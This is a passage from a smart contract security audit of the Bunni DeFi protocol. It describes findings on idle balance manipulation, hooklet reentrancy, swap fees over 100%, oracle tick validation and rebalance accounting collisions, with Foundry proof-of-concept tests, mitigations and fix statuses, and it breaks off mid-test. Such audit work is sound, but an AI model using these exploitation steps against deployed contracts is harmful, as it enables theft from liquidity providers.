            (uint256 sharesFirstDepositor, uint256 firstDepositorAmount0In, uint256
                ↪ firstDepositorAmount1In) = hub.deposit(depositParams);
            console.log("Amount 0 deposited by first depositor", firstDepositorAmount0In);
            console.log("Amount 1 deposited by first depositor", firstDepositorAmount1In);
            console.log("Total supply shares", bunniToken.totalSupply());
        vm.stopPrank();

        IdleBalance idleBalanceBefore = hub.idleBalance(key.toId());
        (uint256 idleAmountBefore, bool isToken0Before) =
            ↪ IdleBalanceLibrary.fromIdleBalance(idleBalanceBefore);
        feeVault0.setFee(1000);     // 10% fee

        depositAmount0 = 1e18;
        depositAmount1 = 1e18;
        address secondDepositor = makeAddr("secondDepositor");
```

```
        vm.startPrank(secondDepositor);
        token0.approve(address(PERMIT2), type(uint256).max);
        token1.approve(address(PERMIT2), type(uint256).max);
        PERMIT2.approve(address(token0), address(hub), type(uint160).max, type(uint48).max);
        PERMIT2.approve(address(token1), address(hub), type(uint160).max, type(uint48).max);
        vm.stopPrank();

        // mint tokens
        _mint(key.currency0, secondDepositor, depositAmount0);
        _mint(key.currency1, secondDepositor, depositAmount1);

        // deposit tokens
        depositParams = IBunniHub.DepositParams({
            poolKey: key,
            amount0Desired: depositAmount0,
            amount1Desired: depositAmount1,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp,
            recipient: secondDepositor,
            refundRecipient: secondDepositor,
            vaultFee0: 0,
            vaultFee1: 0,
            referrer: address(0)
        });

        vm.prank(secondDepositor);
        (uint256 sharesSecondDepositor, uint256 secondDepositorAmount0In, uint256
        ↪   secondDepositorAmount1In) = hub.deposit(depositParams);
        console.log("Amount 0 deposited by second depositor", secondDepositorAmount0In);
        console.log("Amount 1 deposited by second depositor", secondDepositorAmount1In);

        logBalances(key);
        console.log("Total shares afterwards", bunniToken.totalSupply());
        IdleBalance idleBalanceAfter = hub.idleBalance(key.toId());
        (uint256 idleAmountAfter, bool isToken0After) =
        ↪   IdleBalanceLibrary.fromIdleBalance(idleBalanceAfter);
        console.log("Idle balance before", idleAmountBefore);
        console.log("Is idle balance in token0 before?", isToken0Before);
        console.log("Idle balance after", idleAmountAfter);
        console.log("Is idle balance in token0 after?", isToken0Before);
    }
```

Output:

```
Ran 1 test for test/BunniHub.t.sol:BunniHubTest
[PASS] test_WrongIdleBalanceComputation() (gas: 4764066)
Logs:
  Amount 0 deposited by first depositor 1000000000000000000
  Amount 1 deposited by first depositor 1000000000000000000
  Total supply shares 1000000000000000000
  Amount 0 deposited by second depositor 930000000000000000
  Amount 1 deposited by second depositor 1000000000000000000
  Balance 0 1930000000000000000
  Balance 1 2000000000000000000
  Total shares afterwards 1930000000000000000
  Idle balance before 0
  Is idle balance in token0 before? true
  Idle balance after 0
  Is idle balance in token0 after? true

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.79s (6.24ms CPU time)
```

```
Ran 1 test suite in 1.79s (1.79s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended Mitigation: The following are two possible solutions:

1. If the user specifies a vault fee, it is ensured that the `reserveChangeInUnderlying` does not deviate too far from the expected amount and so users cannot make significant modifications the token ratio; however, when the vault fee is specified as 0, this check is not executed. Consider validating against the expected result computed by the `_depositLogic()` function in both cases, and revert if the `reserveChangeInUnderlying` is significantly different.
2. Consider recomputing the idle balance completely after each deposit.

Bacon Labs: Fixed in PR #119.

Cyfrin: Verified, the vault fee check is enforced even when specified as zero to avoid idle balance manipulation and donation attacks.

7.3.10 Potential cross-contract re-entrancy between `BunniHub::deposit` and `BunniToken` can corrupt Hooklet state

Description: Hooklets are intended to allow pool deployers to inject custom logic into various key pool operations such as initialization, deposits, withdrawals, swaps and Bunni token transfers.

To ensure that the hooklet invocations receive actual return values, all after operation hooks should be placed at the end of the corresponding functions; however, `BunniHubLogic::deposit` refunds excess ETH to users before the `hookletAfterDeposit()` call is executed which can result in cross-contract reentrancy when a user transfers Bunni tokens before the hooklet's state has updated:

```
    function deposit(HubStorage storage s, Env calldata env, IBunniHub.DepositParams calldata params)
        external
        returns (uint256 shares, uint256 amount0, uint256 amount1)
    {
        ...
        // refund excess ETH
        if (params.poolKey.currency0.isAddressZero()) {
            if (address(this).balance != 0) {
@>              params.refundRecipient.safeTransferETH(
                    FixedPointMathLib.min(address(this).balance, msg.value - amount0Spent)
                );
            }
        } else if (params.poolKey.currency1.isAddressZero()) {
            if (address(this).balance != 0) {
@>              params.refundRecipient.safeTransferETH(
                    FixedPointMathLib.min(address(this).balance, msg.value - amount1Spent)
                );
            }
        }

        // emit event
        emit IBunniHub.Deposit(msgSender, params.recipient, poolId, amount0, amount1, shares);

        /// -----------------------------------------------------------------------
        /// Hooklet call
        /// -----------------------------------------------------------------------

@>      state.hooklet.hookletAfterDeposit(
            msgSender, params, IHooklet.DepositReturnData({shares: shares, amount0: amount0, amount1:
            ↪  amount1})
        );
    }
```

This causes the `BunniToken` transfer hooks to be invoked on the Hooklet before notification of the deposit has concluded:

```
    function _beforeTokenTransfer(address from, address to, uint256 amount, address newReferrer)
    ↪   internal override {
        ...
        // call hooklet
        // occurs after the referral reward accrual to prevent the hooklet from
        // messing up the accounting
        IHooklet hooklet_ = hooklet();
        if (hooklet_.hasPermission(HookletLib.BEFORE_TRANSFER_FLAG)) {
@>          hooklet_.hookletBeforeTransfer(msg.sender, poolKey(), this, from, to, amount);
        }
    }

    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        // call hooklet
        IHooklet hooklet_ = hooklet();
        if (hooklet_.hasPermission(HookletLib.AFTER_TRANSFER_FLAG)) {
@>          hooklet_.hookletAfterTransfer(msg.sender, poolKey(), this, from, to, amount);
        }
    }
```

Impact: The potential impact depends on the custom logic of a given Hooklet implementation and its associated accounting.

Recommended Mitigation: Consider moving the refund logic to after the `hookletAfterDeposit()` call. This ensures that the hooklet's state is updated before the refund is made, preventing the potential for re-entrancy.

Bacon Labs: Fixed in PR #120.

Cyfrin: Verified, the excess ETH refund in `BunniHubLogic::deposit` has been moved to after the Hooklet call.

7.3.11 Inconsistent Hooklet data provisioning for rebalancing operations

Description: Bunni utilizes Hooklets to enable pool deployers to inject custom logic into various pool operations, allowing for the implementation of advanced strategies, customized behavior, and integration with external systems. These Hooklets can be invoked during key operations, including initialization, deposits, withdrawals, swaps, and Bunni token transfers.

Based on the `IHooklet` interface, it appears that "before operation" Hooklet invocations are passed the user input data and in turn "after operation" Hooklet invocations receive the operations return data. The return data from deposit, withdraw, and swap functionality always contains pool reserve changes, which can be used in the custom logic of a Hooklet:

```
    struct DepositReturnData {
        uint256 shares;
@>      uint256 amount0;
@>      uint256 amount1;
    }

    ...

    struct WithdrawReturnData {
@>      uint256 amount0;
@>      uint256 amount1;
    }

    ...

    struct SwapReturnData {
        uint160 updatedSqrtPriceX96;
        int24 updatedTick;
@>      uint256 inputAmount;
@>      uint256 outputAmount;
        uint24 swapFee;
        uint256 totalLiquidity;
    }
```

However, the protocol rebalancing functionality fails to deliver any such information to Hooklets, meaning that any custom Hooklet logic based on changing reserves can not be implemented.

Impact: The absence of reserve information for rebalancing operations limits the ability of Hooklets to implement custom logic that relies on this data. This inconsistency in data provisioning may hinder the development of advanced strategies and customized behavior, ultimately affecting the overall functionality and usability of the protocol.

Recommended Mitigation: Bunni should provide reserve change information to its Hooklets during rebalancing operations. This could be achieved by reusing the `afterSwap()` hook, and implementing the `beforeSwap()` hook could also be useful; however, it would be preferable to introduce a distinct rebalance hooklet call.

Bacon Labs: Fixed in PR #121 and PR #133.

Cyfrin: Verified, `IHooklet.afterRebalance` is now called after rebalance order execution.

7.3.12 Swap fees can exceed 100%, causing unexpected reverts or overcharging

Description: The dynamic surge fee mechanism prevents sandwich attacks during autonomous liquidity modifications by starting high at a maximum surge fee of 100% and decreasing exponentially. When the pool is managed by an am-AMM manager, the swap fee and hook fee are calculated separately using the full swap amount. While this design solves the problem of inconsistently computing the hook fee between cases when am-AMM management is enabled/disabled, it does not prevent the surge fee from exceeding 100%.

The fee calculation is is performed as part of the `BunniHookLogic::beforeSwap` logic. The first step is determine the base swap fee percentage (1). It is fully charged when am-AMM management is disabled (2 -> 3). In the other case, only the hook fee portion of the base fee is charged and the am-AMM manager fee is used instead of the portion of the base fee corresponding to LP fees (4 -> 3). Thus, the full fee is equal to `swapFeeAmount + hookFeesAmount`.

```
(1)>    uint24 hookFeesBaseSwapFee = feeOverridden
            ? feeOverride
            : computeDynamicSwapFee(
                updatedSqrtPriceX96,
                feeMeanTick,
                lastSurgeTimestamp,
                hookParams.feeMin,
                hookParams.feeMax,
                hookParams.feeQuadraticMultiplier,
                hookParams.surgeFeeHalfLife
            );
        swapFee = useAmAmmFee
(4)>        ? uint24(FixedPointMathLib.max(amAmmSwapFee, computeSurgeFee(lastSurgeTimestamp,
↪   hookParams.surgeFeeHalfLife)))
(2)>        : hookFeesBaseSwapFee;
        uint256 hookFeesAmount;
        uint256 hookHandleSwapInputAmount;
        uint256 hookHandleSwapOutoutAmount;
        if (exactIn) {
            // compute the swap fee and the hook fee (i.e. protocol fee)
            // swap fee is taken by decreasing the output amount
(3)>        swapFeeAmount = outputAmount.mulDivUp(swapFee, SWAP_FEE_BASE);
            if (useAmAmmFee) {
                // instead of computing hook fees as a portion of the swap fee
                // and deducting it, we compute hook fees separately using hookFeesBaseSwapFee
                // and charge it as an extra fee on the swap
(5)>            hookFeesAmount = outputAmount.mulDivUp(hookFeesBaseSwapFee, SWAP_FEE_BASE).mulDivUp(
                    env.hookFeeModifier, MODIFIER_BASE
                );
            } else {
                hookFeesAmount = swapFeeAmount.mulDivUp(env.hookFeeModifier, MODIFIER_BASE);
                swapFeeAmount -= hookFeesAmount;
            }
```

Assuming am-AMM management is enabled and the surge fee is 100%, `computeSurgeFee()` returns `SWAP_FEE_BASE` and `swapFee` is 100% (4 -> 3); however, the value returned by `computeDynamicSwapFee()` can also be up to `SWAP_FEE_BASE` depending on other conditions, so `hookFeesBaseSwapFee` is in the range (0, `SWAP_FEE_BASE`] which results in a non-zero `hookFeesAmount` (1 -> 5). Therefore, the `swapFeeAmount + hookFeesAmount` sum exceeds `outputAmount` and causes an unexpected revert due to underflow.

```
        // modify output amount with fees
@>      outputAmount -= swapFeeAmount + hookFeesAmount;
```

In case of exact output swaps when the surge fee is near 100%, users can be overcharged:

```
        } else {
            // compute the swap fee and the hook fee (i.e. protocol fee)
            // swap fee is taken by increasing the input amount
            // need to modify fee rate to maintain the same average price as exactIn case
            // in / (out * (1 - fee)) = in * (1 + fee') / out => fee' = fee / (1 - fee)
@>          swapFeeAmount = inputAmount.mulDivUp(swapFee, SWAP_FEE_BASE - swapFee);
            if (useAmAmmFee) {
                // instead of computing hook fees as a portion of the swap fee
                // and deducting it, we compute hook fees separately using hookFeesBaseSwapFee
                // and charge it as an extra fee on the swap
@>              hookFeesAmount = inputAmount.mulDivUp(hookFeesBaseSwapFee, SWAP_FEE_BASE -
↪   hookFeesBaseSwapFee).mulDivUp(
                    env.hookFeeModifier, MODIFIER_BASE
                );
            } else {
                hookFeesAmount = swapFeeAmount.mulDivUp(env.hookFeeModifier, MODIFIER_BASE);
                swapFeeAmount -= hookFeesAmount;
            }

            // set the am-AMM fee to be the swap fee amount
            // don't need to check if am-AMM is enabled since if it isn't
            // BunniHook.beforeSwap() simply ignores the returned values
            // this saves gas by avoiding an if statement
            (amAmmFeeCurrency, amAmmFeeAmount) = (inputToken, swapFeeAmount);

            // modify input amount with fees
@>          inputAmount += swapFeeAmount + hookFeesAmount;
```

Impact: When am-AMM management is enabled and the surge fee approaches 100%, the total swap fee amount `swapFeeAmount + hookFeesAmount` can exceed the output amount, resulting in an unexpected revert. Additionally, users can be overcharged for exact output swaps when the surge fee is near 100%.

Recommended Mitigation: Consider deducting `hookFeesAmount` from the surge fee to ensure that the total swap fee amount is capped at 100% and will be correctly decreased from 100%.

Bacon Labs: Fixed in PR #123. We acknowledge the issue with potentially overcharging swappers during exact output swaps, we're okay with it since we prefer benefitting LPs.

Cyfrin: Verified, the case where fee sum exceeds the output amount is now explicitly handled in BunniHookLogic::beforeSwap, deducting from the am-Amm/dynamic swap fee such that the hook fee is always consistent.

7.3.13 `OracleUniGeoDistribution` oracle tick validation is flawed

Description: `OracleUniGeoDistribution::floorPriceToRick` computes the rounded tick to which the given bond token floor price corresponds:

```
function floorPriceToRick(uint256 floorPriceWad, int24 tickSpacing) public view returns (int24 rick) {
    // convert floor price to sqrt price
    // assume bond is currency0, floor price's unit is (currency1 / currency0)
    // unscale by WAD then rescale by 2**(96*2), then take the sqrt to get sqrt(floorPrice) * 2**96
    uint160 sqrtPriceX96 = ((floorPriceWad << 192) / WAD).sqrt().toUint160();

    // convert sqrt price to rick
    rick = sqrtPriceX96.getTickAtSqrtPrice();
    rick = bondLtStablecoin ? rick : -rick; // need to invert the sqrt price if bond is currency1
    rick = roundTickSingle(rick, tickSpacing);
}
```

This function is called within `OracleUniGeoDistribution::isValidParams`:

```
    function isValidParams(PoolKey calldata key, uint24, /* twapSecondsAgo */ bytes32 ldfParams)
        public
        view
        override
        returns (bool)
    {
        // only allow the bond-stablecoin pairing
        (Currency currency0, Currency currency1) = bond < stablecoin ? (bond, stablecoin) :
        ↪  (stablecoin, bond);

        return LibOracleUniGeoDistribution.isValidParams(
@>          key.tickSpacing, ldfParams, floorPriceToRick(oracle.getFloorPrice(), key.tickSpacing)
        ) && key.currency0 == currency0 && key.currency1 == currency1;
    }
```

And validation of the resulting oracle rick, which informs the `tickLower/Upper`, is performed within `LibOracleUniGeoDistribution::isValidParams` where the `oracleTickOffset` is also applied:

```
    function isValidParams(int24 tickSpacing, bytes32 ldfParams, int24 oracleTick) internal pure
    ↪  returns (bool) {
        // decode params
        // | shiftMode - 1 byte | distributionType - 1 byte | oracleIsTickLower - 1 byte |
        ↪  oracleTickOffset - 2 bytes | nonOracleTick - 3 bytes | alpha - 4 bytes |
        uint8 shiftMode = uint8(bytes1(ldfParams));
        uint8 distributionType = uint8(bytes1(ldfParams << 8));
        bool oracleIsTickLower = uint8(bytes1(ldfParams << 16)) != 0;
        int24 oracleTickOffset = int24(int16(uint16(bytes2(ldfParams << 24))));
        int24 nonOracleTick = int24(uint24(bytes3(ldfParams << 40)));
        uint32 alpha = uint32(bytes4(ldfParams << 64));

@>      oracleTick += oracleTickOffset; // apply offset to oracle tick
@>      (int24 tickLower, int24 tickUpper) =
            oracleIsTickLower ? (oracleTick, nonOracleTick) : (nonOracleTick, oracleTick);
        if (tickLower >= tickUpper) {
            // ensure tickLower < tickUpper
            // use the non oracle tick as the bound
            // LDF needs to be at least one tickSpacing wide
            (tickLower, tickUpper) =
                oracleIsTickLower ? (tickUpper - tickSpacing, tickUpper) : (tickLower, tickLower +
                ↪  tickSpacing);
        }

        bytes32 geometricLdfParams =
        bytes32(abi.encodePacked(shiftMode, tickLower, int16((tickUpper - tickLower) / tickSpacing),
        ↪  alpha));

        (int24 minUsableTick, int24 maxUsableTick) =
            (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));

        // validity conditions:
        // - geometric LDF params are valid
        // - uniform LDF params are valid
        // - shiftMode is static
        // - distributionType is valid
        // - oracleTickOffset is aligned to tickSpacing
        // - nonOracleTick is aligned to tickSpacing
        return LibGeometricDistribution.isValidParams(tickSpacing, 0, geometricLdfParams)
            && tickLower % tickSpacing == 0 && tickUpper % tickSpacing == 0 && tickLower >=
            ↪  minUsableTick
            && tickUpper <= maxUsableTick && shiftMode == uint8(ShiftMode.STATIC)
            && distributionType <= uint8(type(DistributionType).max) && oracleTickOffset % tickSpacing
            ↪  == 0
            && nonOracleTick % tickSpacing == 0;
    }
```

However, none of this validation is performed in the other invocations of `floorPriceToRick()`, for example in `OracleUniGeoDistribution::query`, so the min/max usable tick validation could be violated if `oracle.getFloorPrice()` returns a different value. Currently, when the oracle returns a different price it simply triggers the surge logic without any further validation:

```
if (initialized) {
    // should surge if param was updated or oracle rick has updated
    shouldSurge = lastLdfParams != ldfParams || oracleRick != lastOracleRick;
}
```

Note that given the oracle tick offset is applied to the oracle tick and the subsequent `tickLower/Upper` are enforced to be aligned to the tick spacing, it is not necessary to additionally enforce that the oracle tick offset is aligned because the tick is already rounded to a rick in `floorPriceToRick()`.

Impact: Validation on the oracle tick is not be performed in invocations of `floorPriceToRick()` within `query()`, `computeSwap()`, or `cumulativeAmount0/1()`. If the oracle reports a floor price that is outside of the min/max usable ticks then execution could proceed in the ranges `[MIN_TICK, minUsableTick]` and `[maxUsableTick, MAX_TICK]`.

Recommended Mitigation: Add validation to `LibOracleUniGeoDistribution::decodeParams` to ensure that, in the event that the floor price changes, the ticks calculated using the oracle rick are contained within the usable range of ticks.

Bacon Labs: Fixed in PR #97.

Cyfrin: Verified, `OracleUniGeoDistribution` now bounds the tick ranges by the minimum and maximum usable ticks in `LibOracleUniGeoDistribution::decodeParams` such that validation is applied to usage in other `floor-PriceToRick()` invocations.

7.3.14 `BunniHook::beforeSwap` does not account for vault fees paid when adjusting raw token balances which could result in small losses to liquidity providers

Description: Unlike during pool deposits, `BunniHook::beforeSwap` does not charge an additional fee on swaps that result in input tokens being moved to/from vaults that charge a fee on such operations. The `BunniHub` handles swaps via the `hookHandleSwap()` function which checks whether tokens should be deposited into the specified vault. When the `rawBalance` exceeds the `maxRawBalance`, a portion is deposited into the vault in an attempt to reach the `targetRawBalance` value. Any non-zero vault fee will be charged from the deposited amount, silently decreasing the pool's balances which proportionally belong to the liquidity providers:

```
    function _updateRawBalanceIfNeeded(
        Currency currency,
        ERC4626 vault,
        uint256 rawBalance,
        uint256 reserve,
        uint256 minRatio,
        uint256 maxRatio,
        uint256 targetRatio
    ) internal returns (uint256 newReserve, uint256 newRawBalance) {
        uint256 balance = rawBalance + getReservesInUnderlying(reserve, vault);
        uint256 minRawBalance = balance.mulDiv(minRatio, RAW_TOKEN_RATIO_BASE);
@>      uint256 maxRawBalance = balance.mulDiv(maxRatio, RAW_TOKEN_RATIO_BASE);

@>      if (rawBalance < minRawBalance || rawBalance > maxRawBalance) {
            uint256 targetRawBalance = balance.mulDiv(targetRatio, RAW_TOKEN_RATIO_BASE);
            (int256 reserveChange, int256 rawBalanceChange) =
@>              _updateVaultReserveViaClaimTokens(targetRawBalance.toInt256() - rawBalance.toInt256(),
↪   currency, vault);
            newReserve = _updateBalance(reserve, reserveChange);
            newRawBalance = _updateBalance(rawBalance, rawBalanceChange);
        } else {
            (newReserve, newRawBalance) = (reserve, rawBalance);
        }
    }
```

Additionally, since the swap could trigger a rebalance if the liquidity distribution is to be shifted, some of these excess funds could be used to execute the rebalance rather than unnecessarily paying the vault fee only to withdraw again when the rebalance is executed.

When a user deposits to a pool that already has an initialized liquidity shape, the current `BunniHubLogic::_depositLogic` simply adds tokens at the current reserve/raw balance ratio, ignoring the target ratio. As such, the closer these balances are to the maximum raw balance then the fewer tokens will be deposited to the reserve by the caller, since in these lines the division will be smaller:

```
returnData.reserveAmount0 = balance0 == 0 ? 0 : returnData.amount0.mulDiv(reserveBalance0, balance0);
returnData.reserveAmount1 = balance1 == 0 ? 0 : returnData.amount1.mulDiv(reserveBalance1, balance1);
```

Then, when there is a swap that causes the maximum raw balance to be exceeded, the pool attempts to reach the target ratio by depositing into the vault; however, the presence of a non-zero vault fee causes liquidity providers to overpay. Since the previous deposits to the vault reserve were not made with the target ratio, this proportional fee amount will be slightly larger when it is paid during the swap compared to if it had been paid by the original caller.

Impact: Vault fees during swaps can be paid by the pool liquidity, causing a small loss to liquidity providers; however, it does not appear to be easily triggered by a malicious user to repeatedly cause the `BunniHub` to deposit funds to the vault in order to make LPs pay for the vault fee, since this occurs only when the raw balance exceeds the maximum amount and execution of swaps which will involve paying swap fees are required to unbalance the raw token ratios.

Recommended Mitigation: Consider:

- Charging vaults fees from the input amount proportional to the target ratio. For the exact-in cases, the vault fee should be deducted at the start of the swap logic, and for the exact-out cases at the end of the swap logic.
- Depositing reserves in the target proportion instead of using the current rate. If depositing into the vault is not possible, the logic should charge the appropriate fee as if the target proportion was used.

Bacon Labs: Fixed in PR #124. We did not add the suggested change to charge vault fees from swaps due to the required solution being too complicated to be worth it.

Cyfrin: Verified, the target raw token ratio is now always used during deposit and updates only occur when there will not be a subsequent rebalance.

7.3.15 Incorrect bond/stablecoin pair decimals assumptions in `OracleUniGeoDistribution`

Description: The `OracleUniGeoDistribution` intends to compute a geometric or uniform distribution with two limits; one is arbitrarily set by the owner, and the other is derived from an external price oracle. The price of the bond is returned in terms of USD in 18 decimals before it is converted to a `sqrtPriceX96` by `OracleUniGeoDistribution::floorPriceToRick` which unscales the WAD (18 decimal) precision:

```
function floorPriceToRick(uint256 floorPriceWad, int24 tickSpacing) public view returns (int24 rick) {
    // convert floor price to sqrt price
    // assume bond is currency0, floor price's unit is (currency1 / currency0)
    // unscale by WAD then rescale by 2**(96*2), then take the sqrt to get sqrt(floorPrice) * 2**96
    uint160 sqrtPriceX96 = ((floorPriceWad << 192) / WAD).sqrt().toUint160();
    // convert sqrt price to rick
    rick = sqrtPriceX96.getTickAtSqrtPrice();
    rick = bondLtStablecoin ? rick : -rick; // need to invert the sqrt price if bond is currency1
    rick = roundTickSingle(rick, tickSpacing);
}
```

This computation assumes that both the bond and the stablecoin will have the same number of decimals; however, consider the following example:

- Assuming the bond is valued at exactly 1 USD, the price oracle will return `1e18` and the `sqrtPriceX96` will be computed with `1` based on a 1:1 ratio.
- This is well implemented so long as both currencies have the same number of decimals because it will match the ratio. Assume that the bond has 18 decimals and the stablecoin is DAI, also with 18 decimals.
- The price will be `1e18 / 1e18 = 1`, so the tick will be properly computed.
- On the other hand, if the bond is paired with a stablecoin with a different number of decimals, the computed tick will be wrong. In the case of USDC, the price would be `1e18 / 1e6 = 1e12`. This tick value differs significantly from the actual value that should have been computed.

Impact: Bonds paired with stablecoins with a differing number of decimals will be affected, computing incorrect limits for the LDF.

Proof of Concept: Consider the following real examples:

```
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.15;

import "./BaseTest.sol";

interface IUniswapV3PoolState {
    function slot0()
        external
        view
        returns (
            uint160 sqrtPriceX96,
            int24 tick,
            uint16 observationIndex,
            uint16 observationCardinality,
            uint16 observationCardinalityNext,
            uint8 feeProtocol,
            bool unlocked
        );
}

contract DecimalsPoC is BaseTest {
    function setUp() public override {
        super.setUp();
    }
    function test_slot0PoC() public {
        uint256 mainnetFork;
        string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
        mainnetFork = vm.createFork(MAINNET_RPC_URL);
        vm.selectFork(mainnetFork);

        address DAI_WETH = 0xa80964C5bBd1A0E95777094420555fead1A26c1e;
        address USDC_WETH = 0x7BeA39867e4169DBe237d55C8242a8f2fcDcc387;

        (uint160 sqrtPriceX96DAI,,,,,,) = IUniswapV3PoolState(DAI_WETH).slot0();
        (uint160 sqrtPriceX96USDC,,,,,,) = IUniswapV3PoolState(USDC_WETH).slot0();

        console2.log("sqrtPriceX96DAI: %s", sqrtPriceX96DAI);
        console2.log("sqrtPriceX96USDC: %s", sqrtPriceX96USDC);
    }
}
```

Output:

```
Ran 1 test for test/DecimalsPoC.t.sol:DecimalsPoC
[PASS] test_slot0PoC() (gas: 20679)
Logs:
  sqrtPriceX96DAI: 1611883263726799730515701216
  sqrtPriceX96USDC: 1618353216855286506291652802704389

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.30s (2.78s CPU time)

Ran 1 test suite in 4.45s (3.30s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

As can be observed from the logs, there is a significant difference in the sqrt price that would be translated into a large tick difference between these two token ratios.

Recommended Mitigation: Any difference in decimals between the bond and stablecoin should be factored into the calculation of the sqrt price after unscaling by WAD and before rescaling by `2**(96*2)`.

Bacon Labs: Acknowledged, we're okay with assuming that the bond & the stablecoin will have the same decimals.

Cyfrin: Acknowledged.

7.3.16 Collision between rebalance order consideration tokens and am-AMM fees for Bunni pools using Bunni tokens

Description: `AmAmm` rent for a given Bunni pool is paid and stored in the `BunniHook` as the ERC-20 representation of its corresponding Bunni token. For pools comprised of at least one underlying Bunni token, there can be issues in the `BunniHook` accounting due to a collision in certain edge cases between the ERC-20 balances. Specifically, a malicious fulfiller who performs an am-AMM bid during the `IFulfiller::sourceConsideration` callback can force additional Bunni token to be accounted to the hook from the hub than should be possible due to inflation of the `orderOutputAmount` state.

```
    /* pre-hook: cache output balance */
    // store the order output balance before the order execution in transient storage
    // this is used to compute the order output amount
    uint256 outputBalanceBefore = hookArgs.postHookArgs.currency.isAddressZero()
        ? weth.balanceOf(address(this))
        : hookArgs.postHookArgs.currency.balanceOfSelf();
    assembly ("memory-safe") {
@>      tstore(REBALANCE_OUTPUT_BALANCE_SLOT, outputBalanceBefore)
    }

    /* am-amm bid is performed during sourceConsideration */
    /* post-hook: compute order output amount by deducting cached balance from current balance (doesn't
    ↪  account for am-amm rent */
    // compute order output amount by computing the difference in the output token balance
    uint256 orderOutputAmount;
    uint256 outputBalanceBefore;
    assembly ("memory-safe") {
@>      outputBalanceBefore := tload(REBALANCE_OUTPUT_BALANCE_SLOT)
    }
    if (args.currency.isAddressZero()) {
        // unwrap WETH output to native ETH
        orderOutputAmount = weth.balanceOf(address(this));
        weth.withdraw(orderOutputAmount);
    } else {
@>      orderOutputAmount = args.currency.balanceOfSelf();
    }
@>  orderOutputAmount -= outputBalanceBefore;
```

Impact: Core accounting can be broken due to re-entrant actions taken in the `BunniHook` during rebalance order fulfilment.

Proof of Concept: The following tests demonstrate how this incorrect accounting assumption can result in incorrect behavior:

```
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.15;

import "./BaseTest.sol";
import "./mocks/BasicBunniRebalancer.sol";

import "flood-contracts/src/interfaces/IFloodPlain.sol";

contract RebalanceWithBunniLiqTest is BaseTest {
    BasicBunniRebalancer public rebalancer;

    function setUp() public override {
        super.setUp();

        rebalancer = new BasicBunniRebalancer(poolManager, floodPlain);
        zone.setIsWhitelisted(address(rebalancer), true);
    }

    function test_rebalance_withBunniLiq() public {
        MockLDF ldf_ = new MockLDF(address(hub), address(bunniHook), address(quoter));
        bytes32 ldfParams = bytes32(abi.encodePacked(ShiftMode.BOTH, int24(-3) * TICK_SPACING,
        ↪  int16(6), ALPHA));
        ldf_.setMinTick(-30);

        (, PoolKey memory key) = _deployPoolAndInitLiquidity(ldf_, ldfParams);

        // shift liquidity to the right
        // the LDF will demand more token0, so we'll have too much of token1
        ldf_.setMinTick(-20);

        // make swap to trigger rebalance
        uint256 swapAmount = 1e6;
        _mint(key.currency0, address(this), swapAmount);
        IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
            zeroForOne: true,
            amountSpecified: -int256(swapAmount),
            sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
        });
        vm.recordLogs();
        _swap(key, params, 0, "");

        IdleBalance idleBalanceBefore = hub.idleBalance(key.toId());
        (uint256 balanceBefore, bool isToken0Before) = idleBalanceBefore.fromIdleBalance();
        assertGt(balanceBefore, 0, "idle balance should be non-zero");
        assertFalse(isToken0Before, "idle balance should be in token1");

        // obtain the order from the logs
        Vm.Log[] memory logs_ = vm.getRecordedLogs();
        Vm.Log memory orderEtchedLog;
        for (uint256 i = 0; i < logs_.length; i++) {
            if (logs_[i].emitter == address(floodPlain) && logs_[i].topics[0] ==
                ↪   IOnChainOrders.OrderEtched.selector) {
                orderEtchedLog = logs_[i];
                break;
            }
        }
        IFloodPlain.SignedOrder memory signedOrder = abi.decode(orderEtchedLog.data,
            ↪   (IFloodPlain.SignedOrder));

        // wait for the surge fee to go down
        skip(9 minutes);

        // fulfill order using rebalancer
        rebalancer.rebalance(signedOrder, key);

        // rebalancer should have profits in token1
        assertGt(token1.balanceOf(address(rebalancer)), 0, "rebalancer should have profits");
    }

    function test_outputExcessiveBidTokensDuringRebalanceAndRefund() public {
        // Step 1: Create a new pool
        (IBunniToken bt1, PoolKey memory poolKey1) = _deployPoolAndInitLiquidity();

        // Step 2: Send bids and rent tokens (BT1) to BunniHook
        uint128 minRent = uint128(bt1.totalSupply() * MIN_RENT_MULTIPLIER / 1e18);
        uint128 bidAmount = minRent * 10 days;
        address alice = makeAddr("Alice");
        deal(address(bt1), address(this), bidAmount);
        bt1.approve(address(bunniHook), bidAmount);
        bunniHook.bid(
            poolKey1.toId(), address(alice), bytes6(abi.encodePacked(uint24(1e3), uint24(2e3))),
                ↪   minRent, bidAmount
        );

        // Step 3: Create a new pool with BT1 and token2
        ERC20Mock token2 = new ERC20Mock();
        MockLDF mockLDF = new MockLDF(address(hub), address(bunniHook), address(quoter));
        mockLDF.setMinTick(-30); // minTick of MockLDFs need initialization

        // approve tokens
        vm.startPrank(address(0x6969));
        bt1.approve(address(PERMIT2), type(uint256).max);
        token2.approve(address(PERMIT2), type(uint256).max);
        PERMIT2.approve(address(bt1), address(hub), type(uint160).max, type(uint48).max);
        PERMIT2.approve(address(token2), address(hub), type(uint160).max, type(uint48).max);
        vm.stopPrank();

        (Currency currency0, Currency currency1) = address(bt1) < address(token2)
            ? (Currency.wrap(address(bt1)), Currency.wrap(address(token2)))
            : (Currency.wrap(address(token2)), Currency.wrap(address(bt1)));
        (, PoolKey memory poolKey2) = _deployPoolAndInitLiquidity(
            currency0,
            currency1,
            ERC4626(address(0)),
            ERC4626(address(0)),
            mockLDF,
            IHooklet(address(0)),
            bytes32(abi.encodePacked(ShiftMode.BOTH, int24(-3) * TICK_SPACING, int16(6), ALPHA)),
            abi.encodePacked(
                FEE_MIN,
                FEE_MAX,
                FEE_QUADRATIC_MULTIPLIER,
                FEE_TWAP_SECONDS_AGO,
                POOL_MAX_AMAMM_FEE,
                SURGE_HALFLIFE,
                SURGE_AUTOSTART_TIME,
